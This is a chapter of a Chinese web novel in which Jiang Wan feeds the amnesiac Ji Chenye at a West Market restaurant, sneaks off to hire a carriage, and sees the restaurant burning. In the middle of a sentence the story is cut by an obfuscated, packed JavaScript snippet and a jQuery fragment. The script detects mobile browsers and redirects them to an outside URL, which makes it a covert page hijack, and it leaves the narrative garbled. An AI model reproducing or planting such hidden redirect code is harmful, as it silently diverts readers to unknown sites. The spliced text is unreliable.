姬忱夜看上去也有点懵,见他眼神有点飘忽,姜宛赶紧答应:“好,麦芽糖就麦芽糖!”
见他的眼神重新变得清明起来,她才松了口气。
这人失忆失得也别具一格,好像间歇性地会想起来点什么,但每次一想起来,不是头疼发疯就是忽冷忽热。
若是他病倒在街上,她都不知道该怎么把他拖去医馆。
“说好了,你做的麦芽糖。”
姬忱夜在“你做的”这三个字上加重了语气,姜宛满口答应:“好好好,我做。”
“不过,”她语气一转:“做糖要很久,我先请你吃别的好不好?”
她拉着姬忱夜直奔西市的一家酒楼,点了一大桌菜。
见对方一副高冷的样子,她把其中一盘点心推到他面前。
“你不是喜欢吃麦芽糖吗?这道点心肯定合你胃口,也是甜甜的。”
姬忱夜垂眸看了一眼点心,语气冷淡:“不是你做的。”
姜宛简直服了,这人是抽了哪门子的疯,在麦芽糖这个坎上过不去了是吧?
还非得要她做的,想让她现在变出麦芽糖来,得有神仙的本事才行。
不过,她向来是个知恩图报的人。
撇开刚才那次不算,上次就是在西市,她险些被疯马踩死的时候也是姬忱夜救的她。
对于救命恩人,还是要礼貌一点的。
所以,她拿出十二分的耐心捏了糕点递到他嘴边:“真的很好吃,你尝尝。”
姬忱夜垂眸看了看她的手,姜宛从他眼神里竟品出了一点嫌弃的意味。
“你没洗手。”
果然……姜宛顿时觉得自己献殷勤献了个寂寞,这男人有洁癖吧!
“吃了又不会**!”她恶狠狠地把糕点塞进自己嘴里,要用行动向他证明这一点。
然而她跑了这半日连口水都没喝,乍然塞了一块干点心进去,当场就呛到了,还好死不死地把点心碎屑喷了姬忱夜一脸。
看到那张高冷的脸上沾了点心碎渣,姜宛下意识地抬手去替他擦:“咳咳,我说我……不是故意的,你相信吗?”
擦了两把她才想起来,用的还是自个儿那没洗的手。
她讪讪地收回手,起身往外走。
姬忱夜却一把抓住了她的手腕:“你去哪儿?”
“我去茅厕,顺便洗手。”姜宛特意强调了“洗手”二字,果然被放开了。
走到门口时,她又不放心地回身叮嘱:“你就待在这里别乱跑,我很快回来!”
说这话时,姜宛觉得自己简直像是幼儿园老师,在嘱咐小朋友要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995521|189377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听话。
不是她想占姬忱夜便宜,而是这人动不动就发病,总让人觉得他一个人在外面晃就很不让人安心。
而且他的任性程度,和小朋友也没区别。
姬忱夜居然难得听话地点了头:“好。”
姜宛心里莫名地有了点成就感,觉得自己好像拿捏到了这位前**的脾气,当小孩子哄就行了。
于是她变本加厉道:“一步也不许动!”
姬忱夜的眼神虽然还是冷的,嘴巴上却乖巧得很:“好,一步也不动。”
姜宛这才下楼去,本来洗了手就要回去的,然而瞥见对面的车马行,她才记起自己大老远跑来西市的目的。
反正都下了楼,不如先去把马车的事办妥再回去。
毕竟她想逃跑是个秘密,带着姬忱夜不方便,下回再从弘文馆跑出来又不知道是什么时候了。
姜宛秉承财大气粗好办事的原则,哐哐砸钱把车马的事都敲定了,刚把墨迹未干的契书拿到手里,却突然听到街上乱起来了。
在嘈杂的尖叫声中,有一句话出现的频率格外高:“着火了!”
姜宛不经意地往门外看了一眼,结果当场就愣住了。
对面那座被火光和浓烟包围了的三层小楼,不就是她刚刚离开的酒楼吗?